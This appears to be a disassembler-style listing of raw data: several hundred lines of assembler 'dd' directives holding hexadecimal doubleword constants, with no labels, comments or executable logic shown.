dd 0AE3B78AAh, 0E3E180A7h, 9A18CE6Eh, 0B22100E4h, 0A50D7901h
dd 520EBBF9h, 14D2DAD1h, 5A2F0088h, 623E0894h, 65D600C4h
dd 12551FA3h, 0E50F6D80h, 80493811h, 85DA6C79h, 0EFDE1EE7h
dd 2C5B00CCh, 0CB96B16Fh, 27602800h, 11BD4184h, 65030046h
dd 20AB2C08h, 0BF3E7AE4h, 0CC2D80E8h, 0F2DF4834h, 5D1745Dh
dd 0D6DCF880h, 0CB30C072h, 0D73D83F6h, 0C233093Dh, 0B8700CCh
dd 3A1A2F44h, 45806839h, 0AAB829A5h, 374C4023h, 0AC71001Ah
dd 7051A9C6h, 6AE6EDh, 4ADA46Fh, 0F2C230BCh, 0F9CB9000h
dd 9D32DC62h, 0A67BA9h, 8200940h, 1FF32DD2h, 78D45D00h
dd 4C62EB16h, 0A40F009Ch, 0E41E35F5h, 0C0688E7h, 0FA841276h
dd 0A6A81FB0h, 3674C0B3h, 0DCDFBAF5h, 12F71400h, 5EE74940h
dd 317F2Fh, 704D226Bh, 0AE638472h, 38E25A1Fh, 0E7C39AC0h
dd 0F0AD275Bh, 91D30029h, 99C437CFh, 2D4C724Eh, 0C7BD4041h
dd 55C6B600h, 0B58C33A2h, 1C167B71h, 0C3B8F7B4h, 20991177h
dd 3EAF2CE8h, 65001373h, 0F15B4F58h, 44B392h, 0F7ACE4D6h
dd 8D233B5Ch, 9C9C2E39h, 480B111h, 2B65555Dh, 6A7907h
dd 0D43A25B5h, 0C6F8C52Ch, 8A9E6250h, 1CFA6500h, 0D10EB592h
dd 0D3B000DBh, 0CF70456Fh, 57000D88h, 5243536Dh, 0A562CAh
dd 0D4550AAAh, 938B73E7h, 9F2CE48h, 81F9B9BAh, 0CA4AF7F8h
dd 3A8A60h, 8AF4E3C0h, 1B68AA8Ch, 0C6A1FB00h, 0BE513385h
dd 0F6FE00F7h, 4338E6C0h, 0A90EF821h, 0C06CB5E5h, 0F5571E74h
dd 85B10086h, 0A1B2B8A8h, 27608128h, 0C957F18h, 2537070Dh
dd 0EE77A0FFh, 0B2EE9CA0h, 0F2B0066Bh, 82DC7600h, 58178CF0h
dd 0F570077Eh, 80B1D0BFh, 692547CDh, 55040A00h, 0DCAC8C3Eh
dd 0C3E100EFh, 0EBB6766h, 681D4C1Eh, 0DDC32F42h, 0B119086Fh
dd 22E4CD41h, 1B0C00DFh, 8D03112Bh, 21F881ADh, 0E276B305h
dd 980041A7h, 7FD24014h, 0BE900E7h, 54B24429h, 0D60CEEF6h
dd 0A5943C6h, 39AB0013h, 7F1C5E82h, 7D2C3228h, 0EA002A52h
dd 79A80FFAh, 0F8920085h, 4AD10AFCh, 60C13E8Ch, 0E5F4CCCFh
dd 837000D3h, 7DAA9485h, 0AE3F9BC4h, 1A0481BDh, 332E0886h
dd 22630BCh, 122F0074h, 6DC9A1B6h, 5DB34900h, 96B9B28Ah
dd 814B0027h, 36D97924h, 48D8CC9Ah, 335E20D1h, 2E304B0Eh
dd 5900507Ch, 0E5F51A58h, 0BB9061h, 43C455DCh, 3FDD836Ch
dd 0A88AD100h, 1DAA2A1Fh, 863E0037h, 0E5E9C311h, 0E018E22h
dd 0D1202158h, 699CCD27h, 8D30002Ah, 0C17663D4h, 77D0C1Fh
dd 0A600A416h, 24794A32h, 88AB1C64h, 0B11BC03Fh, 0F3F54F10h
dd 8096D13Dh, 0BBACFB75h, 74DC8Ah, 9716724Bh, 0FA6DAE1Eh
dd 69F05D00h, 8A8D21E6h, 3E24001Fh, 0F765A51Bh, 0ED004E22h
dd 7F970FC9h, 0F63CB669h, 48BE0FC1h, 2C8091A5h, 61312076h
dd 0DB8A1307h, 7C20075Eh, 32701B3h, 426B91CEh, 0A480881Ah
dd 6C000512h, 0EB9B3908h, 0AE0B99h, 0B01DEAE3h, 40EF7907h
dd 477ADE00h, 0B5901C69h, 0AE62386Dh, 0C4D85884h, 80509307h
dd 2064008Fh, 0BE1FABCBh, 43B28C9h, 93888EDCh, 0D7E80890h
dd 0A1D50378h, 0BC64B1C8h, 6BA25BC0h, 80152F3Ch, 0B0ACC97h
dd 0CA3DF3h, 3BDB9E95h, 8DC0F8C7h, 5041B007h, 3F203515h
dd 0C78481B8h, 0F0AC0659h, 4FF12B27h, 5B95DD03h, 0F0BD36F7h
dd 0E63345h, 925114B9h, 6829B02Dh, 6D0F7F7Dh, 60495D94h
dd 26150A4Bh, 0B4CC079Ch, 0C97125F1h, 4DF53800h, 4B719718h
dd 0A3856700h, 60B2E29h, 5080048h, 4A232A35h, 0AC91DF2Fh
dd 13F4C603h, 2E65882Bh, 0C2741836h, 9DBE18A6h, 4CD448h
dd 0E6441BFAh, 0F6785Dh, 0EEF2F0F1h, 0BF767CF7h, 0EF49AC1Eh
dd 1CC83B3Eh, 18000CEBh, 65F824DFh, 0FA6913D6h, 0EEAF03F7h
dd 85C028AFh, 29C8FDB6h, 36898023h, 0CE5A87BCh, 0A2176A00h
dd 7ACAC940h, 1CCC73E6h, 0C0FCDDC7h, 880DF871h, 0E139EA9Eh
dd 9A518037h, 2BA16125h, 50D20057h, 0A3680CFAh, 0D71ECBDCh
dd 0EF07D692h, 4E906F03h, 0A17E1Ch, 0EE129AF5h, 185F6ECh
dd 0E70011B8h, 5DE2C2ACh, 0AAC4CBh, 370B38C8h, 8E5FCB3h
dd 0B84D1000h, 497F409Bh, 3AF0001h, 8C9AD380h, 0C3001EBBh
dd 92D91D5Dh, 606ED5h, 0A6CE8A54h, 0DEA3BF99h, 0E0132124h
dd 0D7D95E00h, 16D654Ch, 7CC08C40h, 401853ADh, 8FFAF1ACh
dd 0FCEB0200h, 0E90DA966h, 0B727005Fh, 6236E2D5h, 3100763Ah
dd 4D7456C2h, 32D7D3h, 5753C064h, 0FBDC0C28h, 2F267BB0h
dd 70E4F49h, 15CC23D5h, 856D982Ah, 0B27B094Eh, 2B80C4A4h
dd 0F5B3B60Ch, 48E82C07h, 71E0025Ah, 386660DFh, 658054C8h
dd 7D9050E6h, 0C17ED19Fh, 0D437B100h, 0F77E66B5h, 0F1A400FAh
dd 883C078Ch, 5FA7434h, 6FAE9E06h, 0D8EBB7h, 0B6C68D01h
dd 2341D0ADh, 48F72C58h, 33870054h, 86CB0D5Eh, 0BB1748F6h
dd 9451901Ch, 0B851E428h, 0D292C0h, 0CDBF4362h, 4CC5BBD3h
dd 0F4DD2200h, 76B1DA97h, 858D007Dh, 0F6C6FD6Bh, 0FE1D84E0h
dd 16C70A92h, 5FC07CDAh, 5E737h, 0FC961867h, 0C5942463h
dd 714A8600h, 0F4DCCC88h, 0BE1D071Ch, 30E1922Ch, 93E01A33h
dd 0C488680Ah, 0D900A861h, 6E30ED77h, 33CB09DFh, 0C20FBE37h
dd 1D95B0C1h, 0C772E028h, 7AE6DC3Bh, 9353BC00h, 2CD28FACh
dd 0F27C3Ch, 0C1BB1F11h, 9BE54FE2h, 68237800h, 13B561FBh
dd 2274E6h, 0A7CBD49Ch, 26BD763Dh, 10D548h, 0C567B0ADh
dd 0E42436h, 6439AF21h, 153F07AAh, 27DDFBA0h, 0EE8538h
dd 7082766Fh, 0F92DFE1Ah, 8A84B8EFh, 7F27004Ch, 11D794D5h
dd 0D8C09946h, 0BD8EB1C4h, 52C5004Bh, 0D9C2A2B9h, 0A404103Ah
dd 19330ADAh, 0BCA95880h, 6012001Dh, 0E6F17958h, 0D23C5CF4h
dd 189D173Fh, 0C50DE18h, 3377F15h, 5D2DF841h, 0C2C0ABC1h
dd 44246345h, 0A3030CEEh, 0B070B162h, 0EF233Fh, 87915DFCh
dd 0EEADA5B5h, 153B0F00h, 0D3AEFB16h, 0AA6F009Eh, 0E893CEE3h
dd 1200725Fh, 2AB36379h, 68D41CBh, 148F52DDh, 82264827h
dd 791D58E6h, 0AD759C00h, 115D669h, 9678F921h, 0EC10D252h
dd 5307D5C2h, 74E0DF67h, 1A16F030h, 29FC0702h, 976AA1CEh
dd 0DE319009h, 13003530h, 8AD31DC6h, 16433AF2h, 1C5CC8h
dd 0FF79F3B4h, 8BF8F4D1h, 40ECD007h, 0EB80D201h, 7ABB394Fh
dd 5837242Bh, 0C0C51DBAh, 7E33B204h, 0B0049DAEh, 0EF556E57h
dd 9044B4C3h, 2EBD102Ah, 1DF834A5h, 4F2E9E20h, 5D0074D7h
dd 6692E43Ah, 83479000h, 7E3229ABh, 92F558D8h, 0E90C2B00h
dd 35A2C35Ah, 0C4DE9A00h, 6CCADAF6h, 88BD00AFh, 1EC045B8h
dd 0C700EE22h, 86E0D35Ah, 29927Ch, 81960195h, 0C91345ACh
dd 339AD400h, 0B2FF1CC0h, 1282011Dh, 0AF513CD9h, 90B080C7h
dd 7B07D5ADh, 508400D8h, 0DFFAC669h, 0A5002B5Ah, 1AD20975h
dd 591F0Ch, 11DF4C8h, 93DA0A15h, 478A7600h, 0F7693311h
dd 1AFC38A7h, 41B992h, 32BE6434h, 6A0093BDh, 0CF72F945h
dd 596B75h, 90177398h, 0EB8AE1D9h, 7AB6C0Eh, 82AF4037h
dd 0ED4D89Bh, 384FE856h, 0B4552F80h, 8E079CEFh, 650E17A7h
dd 43DD7C90h, 0C4291E83h, 0FA4BC019h, 94A9BA61h, 67370C00h
dd 0D29F3DE7h, 65F14C4h, 0E23CA490h, 0BE535260h, 803C64F5h
dd 24EE0018h, 0B6CB8633h, 58767B52h, 0E00100D4h, 0FDF4195Fh
dd 0B310300Ah, 0D3096E90h, 390ECAh, 361E2D18h, 9AF901Ah
dd 2AC2AE47h, 71960420h, 56000AA6h, 0D138AAA0h, 1D7626F3h
dd 0C1DD0994h, 0E4933DC9h, 0D970D099h, 85A3DA01h, 0E50C1F86h
dd 0A47BB8F7h, 0B5A0095h, 0A0F26FFh, 7601636Bh, 6013A92h
dd 5660D7A9h, 2482240Bh, 80ED0005h, 0BE77F054h, 4C571F09h
dd 0ECC800Dh, 0D6128Eh, 7F7B9EE1h, 2943AD7Dh, 0E27C3102h
dd 60C76350h, 0FCA3C3h, 92CE709Fh, 8A2BAEFDh, 7C72B20Fh
dd 6A3E0178h, 0C640ABBFh, 1FE40709h, 80B65E22h, 0FDC3FE6h
dd 3712DB0h, 7F6594Ch, 42DFCD5Ch, 0A9752A30h, 765D00F6h
dd 903CDC77h, 4CBAC9C8h, 70E79300h, 8B50A5BBh, 0B49A0069h
dd 88FCDF31h, 400790A8h, 0EF4635FAh, 40F25DE2h, 8AF7BDh
dd 0FE919A03h, 945C2988h, 2A0F9700h, 0C7947DAh, 7BC98F3h
dd 0EDC77634h, 0DEA206Bh, 0D363BEA2h, 0E0177778h, 1B3C782Dh
dd 30EED267h, 10246FE0h, 174EA4Ch, 82CE8966h, 0D5D0F959h
dd 5D880E29h, 1C46BB69h, 0FC80C1C8h, 0A8720BC5h, 9F094203h
dd 3908E2Eh, 0EACF4150h, 0CAA0116Ah, 152D6EFEh, 0E3F6CBh
dd 65C62E6Dh, 0E705ED1Ah, 0CD0D0B71h, 7C8093C5h, 0ACCB2Dh
dd 6921272Eh, 55E73908h, 0AABDF000h, 15D2DCBEh, 897207A2h
dd 0D0EB26ACh, 1287D0C9h, 95A5Ch, 52256D96h, 7F1CFD98h
dd 797E0Fh, 7FFEF0C7h, 0D92F5E32h, 6325DF00h, 0EF8FE007h
dd 357291h, 3C18BA45h, 86F72760h, 54AD0901h, 0FBD698E8h
dd 5A4ED8h, 586F93C0h, 0EBEF94C1h, 83F2A20Bh, 0F11CA3AEh
dd 4809B890h, 0BC95506Bh, 8AD6677h, 3D0321F5h, 449B099Ch
dd 0BFC69CA4h, 3EB0719h, 8BEC37F7h, 0FE6A4F80h, 59FCEA17h
dd 0A31A741Eh, 2506E4DEh
dd 1D18FA9Ch, 2084542Dh, 0E478C928h, 8128277Ch, 0E4808B56h
dd 324033D1h, 64C4A019h, 508CA51h, 1D2A80F4h, 694DC32h
dd 0A6664A00h, 289B1045h, 6EEEA9Eh, 634BC4BEh, 14A852C6h
dd 900FEFF2h, 61C9EC8Ah, 0CA28BB87h, 0CE9209Fh, 4318C3BEh
dd 0DECBC19h, 1EDC3D32h, 4419C3D1h, 0C0DFBDD3h, 5B87E6B0h
dd 10496830h, 3A23A551h, 2780B3DFh, 0FDBC63EFh, 1E00A280h
dd 0DCB0D685h, 0C1553Ah, 0A9950771h, 9C59BF5Fh, 5608CC00h
dd 16BA2410h, 426E00DCh, 40308717h, 0B700A320h, 2A037318h
dd 0E90BBADDh, 812103CBh, 1136A2A7h, 5A6F51E8h, 0CA7919C0h
dd 37DAADh, 0C5259542h, 596EDF14h, 0EB6021C0h, 4E3CFBh
dd 3532D2A9h, 2C5F07A4h, 2695E300h, 608B6B83h, 7D1500B0h
dd 67A75ABAh, 40D82050h, 6DED6AAh, 631A5ED3h, 146009B1h
dd 0D64AF021h, 9F98009Eh, 76502847h, 6707437Ch, 537FF3F4h
dd 26E96180h, 0EB3A0120h, 7D164057h, 38419C30h, 760080E9h
dd 0C7F4FDA7h, 0BEFEA63h, 0BF94E658h, 4F6EFA80h, 0B418BBC2h
dd 24A9161Dh, 49048668h, 0B6D3F7D6h, 21FD61h, 0FED64BF1h
dd 0A1C10093h, 0BA6A1344h, 23002D79h, 5B11B6E8h, 0ACC87FDh
dd 266312CFh, 940A3ED0h, 94E203h, 3569D6DFh, 0DB023B54h
dd 6B771570h, 0D5C7E06Ch, 61800AFh, 0EB73298Dh, 0F200030Dh
dd 13709733h, 0BF4EF7h, 5548045Ch, 0B5B4FC2Ch, 0E623B300h
dd 0FF7C7942h, 0C82D00C9h, 25CA3EDAh, 8B0087ACh, 0B0A760F1h
dd 0F362B3Ch, 0FC23C13Dh, 4528958Ch, 0C66DEC03h, 0DBF740D5h
dd 0BDA0B0D4h, 65661F05h, 0F3C500C9h, 39100482h, 3CF760E9h
dd 6E881900h, 92BEC650h, 15C3006Ch, 3822B3E9h, 0F61833E4h
dd 3C60C734h, 76BC0044h, 8D7E43A9h, 0FFB830A8h, 0EC5C3918h
dd 0FB2C5A8h, 0E3A926B3h, 7425D723h, 0F5BF6ED8h, 0E1233C00h
dd 0C2A6A038h, 5B540F2Bh, 0C9F8105Dh, 4C1D20F4h, 0EB805C77h
dd 0CA0C1366h, 58426082h, 0F076ADAh, 35C4F400h, 7A89E2C8h
dd 0E375034Bh, 1D3FC2D7h, 78FB2918h, 0B33E08h, 0A25DF14Ch
dd 90AB87Dh, 0A74205Ch, 88706635h, 0B6AAA583h, 8188F19Fh
dd 52BA3F8h, 61087258h, 9EC02021h, 5D00FA3Fh, 0AEFBA0C5h
dd 11DB12h, 22850592h, 0E4BCB897h, 0BB334900h, 2DA79A58h
dd 918900EFh, 0B4F5BD9Fh, 4A7C35Eh, 0A754F877h, 3511C260h
dd 99F646h, 0B3AE998h, 9F9C535Bh, 3C76DB0Fh, 9219B88Bh
dd 0B45D22E6h, 3ACE9720h, 4861A6C6h, 83AB7FBBh, 1B4DB060h
dd 3C2040CFh, 3F4E0004h, 880EAEE4h, 1D00282Ah, 0BD3BB3E1h
dd 0FF96E2h, 87F87D9h, 8039C914h, 56A5C201h, 0CDE4DF01h
dd 3ED47E0h, 0F613405Ch, 2DC846B4h, 45005ECEh, 3567D1E9h
dd 14CB7534h, 403C6A09h, 0F1921F00h, 46DB9E10h, 1A8EC3Ah
dd 7D5855F5h, 1CCCA0A4h, 30D87E17h, 3BC8E5C0h, 0B80D0E9h
dd 0DC793DACh, 0DBBAA800h, 8956575Bh, 80D42D07h, 2CB6B46Ch
dd 22953069h, 0CC6238F8h, 6B53588h, 1A4E8C41h, 243E78BBh
dd 910E0178h, 384771EBh, 1D69FDCh, 39BD9E4Dh, 283D3A36h
dd 7F103E4h, 0D00ED02Ah, 1D153B03h, 5BDF5DEh, 5ED5252Dh
dd 0B0C201ACh, 50DBA7FCh, 6E89C4E8h, 96297B3Fh, 0BA11179Fh
dd 4F5B03FCh, 1E2BA9BDh, 187F66C0h, 0C15580FBh, 3876D81Dh
dd 18259340h, 2E9DB9Dh, 0EE4C5C4Bh, 24B0FEB4h, 20843105h
dd 65150D23h, 905425h, 0BA563FC9h, 248866h, 0AC1CD12h
dd 897607E7h, 0A70ECC00h, 9E84D5D8h, 71FC0010h, 0C4B7C3Ah
dd 29385588h, 96FCD0A2h, 9E1DBC1Dh, 81CCD900h, 6D7938Eh
dd 0C244DFBDh, 912EB8D3h, 3A1FFD7Ch, 0B00B450Ah, 0CD085823h
dd 2447884Ch, 205F6389h, 4AFDA584h, 92020499h, 919D17A1h
dd 7CCD374h, 0F40A1990h, 0CBCA877h, 0A6971887h, 7FA48C8h
dd 0CE0013EEh, 67312B80h, 0CDD5DD0h, 0F22710B4h, 3A1270C8h
dd 8014CA69h, 591D0258h, 40434074h, 18C33CA0h, 711B5DE8h
dd 421F5279h, 75092746h, 257410AAh, 88B0AA88h, 15F0F490h
dd 0D3CA8852h, 0E828C619h, 7DD01E20h, 0EC9293h, 0FFD5A1FBh
dd 0B9ACC6D0h, 0FCE0D668h, 0F3B51283h, 7B509871h, 6B7729D7h
dd 3DE162ACh, 431D34A0h, 0F21A2A19h, 0A029FBB8h, 0A3AFA7CCh
dd 0B3BD12F0h, 6F3C4067h, 2110C893h, 0B46EC700h, 0CCB5F831h
dd 40DA0355h, 0FBBF3BECh, 18C400C4h, 14D4F957h, 987A729Dh
dd 36FE3F71h, 2B6F02F7h, 1E77FFA8h, 4C3A8880h, 0F2016D22h
dd 0C87D3C17h, 91A8F608h, 0B45B55D4h, 3D1DE808h, 383118Bh
dd 1AE5AF76h, 0F0FB217Ch, 3F048DD6h, 0C9996658h, 0E4199880h
dd 83530069h, 0A407B08Eh, 0B76176CAh, 0CEF404B8h, 8834DBF1h
dd 0BCC70475h, 40F96A0Dh, 33C55334h, 0C0133051h, 63E1DE80h
dd 0E7042438h, 0F16643A9h, 27674448h, 39524F0Ch, 442828ECh
dd 3B1E90EAh, 258C9221h, 447D68F8h, 0F00CDB77h, 18C7C93Ch
dd 5A4040B9h, 0EF64E8C3h, 3CB0756Fh, 1000D2CBh, 353DC982h
dd 8DE890BAh, 2C0196F8h, 43C293A8h, 0DC440C78h, 0D7DB2009h
dd 54C93301h, 2315C0B9h, 0C7344CC0h, 14D76F0h, 0A7A99352h
dd 0CC6A22B3h, 28487C45h, 6E400018h, 4C736F79h, 13530050h
dd 1A0370A3h, 0B898FDB7h, 56B92508h, 0E094806Dh, 5942E384h
dd 7242EF8h, 2939ACE8h, 0BBE8AFh, 0DF6CF4A1h, 391C4F9Bh
dd 0ABF2CE67h, 1AA688BCh, 840598FFh, 0CBFEF1FCh, 8414B810h
dd 0AE0B6h, 24D5C393h, 4E152303h, 20F848h, 0B0E8420h, 1D1CA4h
dd 5F664DEDh, 0FD8AEE54h, 0D36C0C3Bh, 52AF00B0h, 0D9043D83h
dd 3CEA0AD3h, 16B847F1h, 542B00BCh, 16DB75DEh, 7E67D12h
dd 7C335027h, 0F3F9803Ah, 20C14056h, 1ED1805h, 0B00067A0h
dd 0F7760DDBh, 85803DEh, 0C29B41CFh, 70414Ch, 39A98C67h
dd 7738FBDh, 998DB94Dh, 2B4210A7h, 0E650D8A5h, 0BD03F9D0h
dd 12D39B65h, 151DD855h, 1328EA21h, 116698Dh, 5F2A2584h
dd 94AAE6DCh, 0AFEA80E8h, 6BFD3093h, 1C5429C1h, 22D771F2h
dd 0A07F931h, 0A7086A19h, 21433BE0h, 0D37ECFh, 387E1746h
dd 6E0124E1h, 12251400h, 0A2B5C1CEh, 50070E81h, 0DCFA57h
dd 94014B22h, 28240555h, 73178C64h, 0C884300h, 3C77DACh
dd 67639DC2h, 36D0E8B0h, 95019708h, 247F5DAh, 0E03204C4h
dd 98C24685h, 0E34C3C80h, 83DF81F8h, 28365ED7h, 429CB972h
dd 4100B1EDh, 0A8AC1C99h, 6FC7F9C0h, 5C0229D4h, 8C432174h
dd 684454E2h, 39F80C54h, 2709A090h, 84ABCA93h, 0D8049D04h
dd 648304EEh, 0C0D020C8h, 0E1F7F4C1h, 26902554h, 0DB1441F1h
dd 0CEC82447h, 51584209h, 0D530A0A0h, 0B82E6A8Dh, 26357144h
dd 840DA53h, 0EC44C369h, 5CEA1405h, 28ED984Ch, 0B988C02Dh
dd 532B19CCh, 12106070h, 0DBFC4820h, 0C7760408h, 0C0303C2Fh
dd 0F39D824h, 8D96F80Fh, 2B3D0020h, 14C8DC5Dh, 8855D224h
dd 103B8Bh, 0DEF85A54h, 0D3F26E09h, 46AC92ACh, 1F4F0574h
dd 8A54E03Ch, 9B1D0428h, 34806EA0h, 26A9CEA5h, 85A0F18Dh
dd 0D01FE5B4h, 6F710ED0h, 68764Dh, 3CADAFE3h, 505C5625h
dd 76480C6h, 0D9E1B747h, 92036187h, 0C68C740Dh, 658C0801h
dd 0C06D8258h, 0F2222432h, 0E74F4C12h, 29AA2440h, 0FCE653C0h
dd 8689B26h, 1F0B8566h, 0E4C9E108h, 8187893h, 0BD9DD550h
dd 437AB041h, 4C41F60Dh, 0B884C434h, 0D079554Dh, 8B6E69A8h
dd 140095FAh
dd 0A30D574Eh, 0A18D66FFh, 4824C35Ch, 553B0054h, 0FE4FC409h
dd 0A3049259h, 1E43F77h, 0F7B3C091h, 0ED3D980h, 0DA74E36h
dd 0EBD45513h, 0B18CD4D1h, 0AF1B870h, 6F4EB777h, 0DDED036Ch
dd 2900BFF2h, 0BC07CA43h, 1675391Bh, 20440E88h, 951CFC24h
dd 0E60054ECh, 772A4FE4h, 74FA8FEAh, 18075775h, 0FD8C1280h
dd 0CC077871h, 35896BF5h, 1F5148F1h, 0FC32C5F9h, 93F7F50h
dd 34E56EEh, 3D807780h, 4CFACEECh, 131F7348h, 980F3064h
dd 0E0C3C55Ch, 93847401h, 0A8308F4Ch, 401F55CDh, 735D6FCCh
dd 0D4B7054Fh, 0CBCFAD59h, 427108C4h, 40F82ED7h, 288F74DDh
dd 8EA9B509h, 0BC5010AFh, 10C90079h, 25D8D0D2h, 0CB2CAF4h
dd 4D13E501h, 62D3A792h, 3ED40B60h, 0C29E8AE8h, 0CB7982A2h
dd 1C486FACh, 32495601h, 0FA640FE4h, 58DAC1C8h, 7910034Fh
dd 5026A099h, 200144DEh, 0FE688E89h, 0CEF0420h, 0A54AA9F5h
dd 3B5446C9h, 62009DA4h, 0DE5147C7h, 20D310h, 1A685BA8h
dd 0EC31C882h, 0E8950205h, 0D005FF55h, 8220411h, 3F109067h
dd 0C8881D72h, 65034735h, 10F050EDh, 0AB1C47CDh, 0E3000871h
dd 80BE07BAh, 0FE542937h, 718F0220h, 68408ECCh, 422E65D5h
dd 4C071CE2h, 0A240D02Ah, 86B7CEh, 7E4569Eh, 0C35A0CEFh
dd 2CB4E812h, 14BC98D0h, 0BDF130F7h, 0A8257418h, 0FC781B26h
dd 144BC662h, 0B3A6D120h, 935C0F20h, 0A4037D29h, 3107DF04h
dd 0D0D1F064h, 888AC3B0h, 53AC2ECDh, 821D8914h, 69F22048h
dd 0C10088B8h, 0C95EFFA2h, 39B6D20Ch, 0C05051B5h, 1F772653h
dd 0A6660070h, 0C0B36C3Fh, 0BCF0D462h, 555F40BDh, 0B515166Ah
dd 2E806CAh, 5E7BD930h, 1CE8BF54h, 31A2990Ah, 0D009439h
dd 3D3B1A3Ah, 4D3E619h, 0E7560657h, 83C5C00Ch, 5552DDC6h
dd 10372908h, 0D8088600h, 4885CE55h, 0CD030C4Dh, 8FD2D5A7h
dd 0C6346C05h, 443836ABh, 96E62C55h, 80B9E5D4h, 8C1844C8h
dd 66113F01h, 0D60110C8h, 0B872E60h, 0EC0A2A3h, 0BCE6F002h
dd 6F910720h, 0A8B14920h, 5446F500h, 9D6550CBh, 0B68AD0A8h
dd 4471691Eh, 0B0C014A7h, 0D47D5050h, 56CCA481h, 0D4C9B0B7h
dd 4E1A412h, 4E03869h, 4D0DCAD8h, 0FEA2801Dh, 0D1307114h
dd 3DB11D5Ch, 1008D3F6h, 36C173AAh, 214D0CFEh, 1ACC407Ch
dd 0C109C8BBh, 81EFE2EBh, 0E12D5F5h, 26E80C24h, 815887E6h
dd 0AD550465h, 0FC40D66Ch, 5A254F5Ch, 0DC943Fh, 80D573E5h
dd 0F50F6770h, 0FA0C84A1h, 0A2C61068h, 640048B2h, 0C48C6634h
dd 0DDCE58h, 0E56C450Ch, 0A81587A5h, 1D81A304h, 9180C4D7h
dd 3D32D3B3h, 6CB74D80h, 0D8BCB160h, 1768809Fh, 0D1D6E563h
dd 1E34096Ah, 60C07A44h, 0B093C0BFh, 1D0E108h, 10476BFEh
dd 2CD476C4h, 0CC3DF4BBh, 7A4450C4h, 0E09829F2h, 3F5818C8h
dd 0F100FA4h, 4101F612h, 30E1BE59h, 5D003010h, 9D1BCBCEh
dd 5CB3895Eh, 9A3F8C33h, 0D6C90489h, 9698C0C1h, 6C4038DAh
dd 0DDBE81Ch, 726F2C6Bh, 37018F48h, 785610A0h, 7C0F581Ch
dd 1E8CD9F1h, 0CD852447h, 3E826CF7h, 2CC09406h, 1E0C5A25h
dd 5C4DC51Fh, 2F4CC063h, 0FA005B73h, 458F05FBh, 0CBF49480h
dd 0E021AE38h, 413C6E43h, 4B6F0C18h, 9152230h, 12F3D166h
dd 9F8AC020h, 2009EBBh, 7A472052h, 0E1B8A967h, 67ED5E30h
dd 0B0D1D8C1h, 308EB439h, 5B4F99E4h, 0C9B98801h, 146C8777h
dd 320CA92Ah, 36903FC5h, 7CE4E490h, 54002458h, 0B61924h
dd 97F4A0C0h, 0C0C34694h, 2E66295Bh, 1ED0A032h, 35CC1676h
dd 0E8A480E9h, 122A1BCAh, 8118D8CDh, 0D5112C92h, 2BE50B40h
dd 9CA00B67h, 0D8312D18h, 2854A0C7h, 0BC1460B0h, 4D0FEDBh
dd 5116FD9Dh, 1DA49080h, 0F0376C0h, 401C14B5h, 2D9DC31Ah
dd 12C0F579h, 0FF07F8B1h, 0B66C934Dh, 0E7B6620h, 40584FBCh
dd 0F21CB4A4h, 0CF156D1Fh, 0D0EF29h, 870D6F15h, 0C3CB638Ch
dd 76E51D91h, 0E20B9B90h, 74527314h, 0C41C0B9Ch, 0D132870Eh
dd 60F39C52h, 567E75Eh, 5564FB78h, 0F408C7DAh, 0D07C855Ah
dd 6B282E1Ch, 418C7B01h, 6555DF0Ch, 2C6E4EF4h, 4FB4F5Eh
dd 0D039B11Eh, 9C857D94h, 9802FF04h, 2CD02FC5h, 1E9A030Ch
dd 9C801DDCh, 0F9F04085h, 93572768h, 0D1EAB530h, 0E1749Fh
dd 0A83D521Fh, 5594333Fh, 0D86931Dh, 0D907E8E4h, 78906936h
dd 0C21F5BCEh, 834E5861h, 0D5BFB8A2h, 0B15B1C48h, 828ECA1Fh
dd 16551800h, 3420109h, 561EE6A7h, 7938C1C7h, 6CD1A458h
dd 2A8DCE86h, 1C162A59h, 0EDBE00D4h, 8A0892Bh, 991723BFh
dd 1EFBC5A5h, 0DF7E0098h, 0B4455AF2h, 73316A00h, 6E381108h
dd 8F700093h, 0D3896DB1h, 7C0E8D85h, 8C90EDB9h, 2C042156h
dd 1D016D96h, 3C7283B4h, 6FE0951Bh, 1601866Eh, 67DC5BC2h
dd 0BEF01C45h, 94AD30ABh, 28274E20h, 9E065AE0h, 0EDF73B64h
dd 41496708h, 0CE27C3F4h, 791869B8h, 2801A91Fh, 61B43F4Ch
dd 0D4150109h, 659DEEE2h, 0CB40E272h, 8F063558h, 91ECD838h
dd 0EA4400C8h, 6AAE4C12h, 0E97A5884h, 89D83936h, 1CCDF20Ch
dd 934374EDh, 813A435Bh, 0C8F0AC71h, 30C04784h, 3B8968D6h
dd 7339C0AFh, 33887806h, 826A3603h, 0A11FC20Bh, 20808FCAh
dd 0B278BEEDh, 50032B1Bh, 7E5AB073h, 0F0880249h, 51965729h
dd 70EFFE40h, 4235D500h, 47FB9E6Ch, 62DCB062h, 0DACCFE68h
dd 4932C5C0h, 55B94C1Fh, 0DC07A1C7h, 1F3F14F1h, 33AA2F0h
dd 0AB16B47Ch, 38032366h, 0CA17964Ch, 20781Eh, 3FDA7C2h
dd 0F7F2B7E5h, 82419400h, 7D3C986Ah, 999D0EBEh, 1EC353E6h
dd 64A85721h, 860101ECh, 8AA335F0h, 8BF0175Eh, 1AED0305h
dd 41A5C1A8h, 0FE71C0C7h, 6EF67A33h, 21C4B507h, 4851BF05h
dd 0E3C795E0h, 0EEA9004Ch, 578E67Ah, 0FD48CBB6h, 7058602Fh
dd 394AE74h, 0D1E84D6Ah, 0FAC81D69h, 2F00B4F7h, 28CD5336h
dd 191214Ch, 0D007831Ch, 8025B5CBh, 12CEF780h, 0A3411Ah
dd 0AAF0177Ch, 2BB5B40h, 6C733Ch, 0D488B0E2h, 710FA9h
dd 793DF3B6h, 0F26F9C67h, 0D6CEF0Fh, 96E16323h, 4529118Bh
dd 395A02B7h, 0C3EFF149h, 0A62907A9h, 82AA0A40h, 682FC179h
dd 0ED4883Ah, 887A3E88h, 0F100C3CDh, 1C2D52B5h, 938F033Ch
dd 747807E2h, 73A8CE00h, 0A98A5DA7h, 0A0370713h, 500D8B1Ch
dd 70A628CAh, 4A00C098h, 6DC7CBE4h, 12F63F9Ah, 0C955E7h
dd 0C427126h, 1039550h, 4E674D18h, 0CA11D83Dh, 615A1C0Fh
dd 0B79D4309h, 0A5E02859h, 0DC0195F0h, 8819F1BFh, 0E2EC0EDAh
dd 0D93700DDh, 6662404Dh, 0E92AE46Ah, 0DE00ACC4h, 0F4BB3E73h
dd 60EAF8B8h, 0D626D45Ch, 0B100E82Dh, 0B51A870Ch, 1CE3418Dh
dd 40DD856Ah, 4B7E0D01h, 8301F2C7h, 1C44E1DFh, 218328D1h
